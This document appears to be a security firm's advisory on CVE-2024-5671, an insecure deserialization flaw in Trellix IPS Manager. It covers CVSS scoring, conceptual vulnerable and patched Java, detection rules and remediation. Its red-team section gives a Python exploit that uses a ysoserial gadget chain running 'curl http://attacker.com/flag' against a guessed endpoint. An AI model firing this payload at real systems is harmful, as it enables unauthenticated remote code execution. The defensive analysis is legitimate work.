CVE-2024-5671

Executive Summary

CVE-2024-5671 is a critical vulnerability in Trellix IPS Manager, stemming from insecure deserialization in certain workflows. This flaw allows an unauthenticated, remote attacker to achieve arbitrary code execution and gain full access to the vulnerable appliance. With a CVSS score of 9.8, the vulnerability poses a severe risk to network security infrastructure, as the IPS Manager is a central control point for intrusion prevention policies. No public proof-of-concept or patch details are currently available, but the high severity demands immediate attention and mitigation.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of authentication required, low complexity, and full compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

Insecure deserialization occurs when an application deserializes untrusted data without proper validation. In the context of Trellix IPS Manager, certain workflows accept serialized objects from network requests. An attacker can craft a malicious serialized object that, when deserialized by the server, executes arbitrary code. This is typically achieved by leveraging gadget chains within the Java runtime or application libraries to trigger code execution during the deserialization process.

The vulnerability is classified under CWE-502 (Deserialization of Untrusted Data). The exact affected component within the IPS Manager is not publicly disclosed, but it is likely related to management interfaces or API endpoints that handle configuration or policy data.

Vulnerable vs. Patched Code

Since no patch or specific version information is available, a generic comparison is provided.

Vulnerable Code (Conceptual Java):

public void processRequest(HttpServletRequest request) {
    ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
    Object obj = ois.readObject(); // Insecure deserialization
    // Process obj...
}

Patched Code (Conceptual):

public void processRequest(HttpServletRequest request) {
    // Use a whitelist of allowed classes
    ValidatingObjectInputStream ois = new ValidatingObjectInputStream(request.getInputStream());
    ois.accept(AllowedClasses.class); // Only deserialize known safe classes
    Object obj = ois.readObject();
    // Process obj...
}

The patched version would implement class whitelisting, input validation, or use safer serialization formats like JSON.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Trellix IPS Manager instance (version unknown, but any unpatched version).
2. Use a tool like ysoserial to generate a malicious serialized payload.
3. Identify the vulnerable endpoint (e.g., /api/policy/import or similar).
4. Send the payload via a POST request.

Example Exploit (Python):

import requests
import subprocess

# Generate payload using ysoserial (e.g., CommonsCollections1)
payload = subprocess.check_output(['java', '-jar', 'ysoserial.jar', 'CommonsCollections1', 'curl http://attacker.com/flag'])

url = "https://target-ips-manager/api/vulnerable-endpoint"
headers = {"Content-Type": "application/x-java-serialized-object"}

response = requests.post(url, data=payload, headers=headers, verify=False)
print(response.status_code)

Blue Team (Defensive)

Detection:

• Monitor for unusual serialized Java objects in HTTP requests (magic bytes 0xAC ED 00 05).
• Deploy Web Application Firewall (WAF) rules to block serialized objects.
• Enable logging on the IPS Manager and monitor for unexpected process execution.

Hunting:

• Search logs for java.io.ObjectInputStream or readObject calls.
• Look for outbound connections from the IPS Manager to unknown IPs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing Java serialized object headers (Content-Type: application/x-java-serialized-object).
  • Outbound connections from IPS Manager to attacker-controlled IPs on common ports (80, 443, 8080).
• Host:
  • Unexpected processes spawned by the Java application (e.g., curl, wget, powershell).
  • New files in temporary directories (/tmp, %TEMP%).
• Logs:
  • Errors related to deserialization in application logs.
  • Successful exploitation may leave stack traces containing java.io.ObjectInputStream.

Detection Engineering

YARA Rule

rule CVE_2024_5671_Deserialization {
    meta:
        description = "Detects Java serialized objects in network traffic or files"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-5671"
    strings:
        $java_serial = { AC ED 00 05 }
        $object_stream = "java.io.ObjectInputStream"
    condition:
        $java_serial or $object_stream
}

Sigma Rule

title: CVE-2024-5671 Insecure Deserialization Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with Java serialized objects
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'application/x-java-serialized-object'
    condition: selection
falsepositives:
    - Legitimate Java RMI traffic
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5671 Insecure Deserialization Attempt"; flow:to_server; content:"Content-Type|3a 20|application/x-java-serialized-object"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Isolate the Trellix IPS Manager from untrusted networks. Restrict access to management interfaces via firewall rules.
2. Short-term: Apply any vendor-provided patches as soon as they become available. Monitor Trellix security advisories.
3. Long-term: Implement network segmentation and use a Web Application Firewall (WAF) to block serialized objects. Consider replacing the IPS Manager with a patched alternative if no fix is released.
4. Compensating Controls: Enable strict input validation and disable unnecessary deserialization endpoints. Use runtime application self-protection (RASP) tools.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.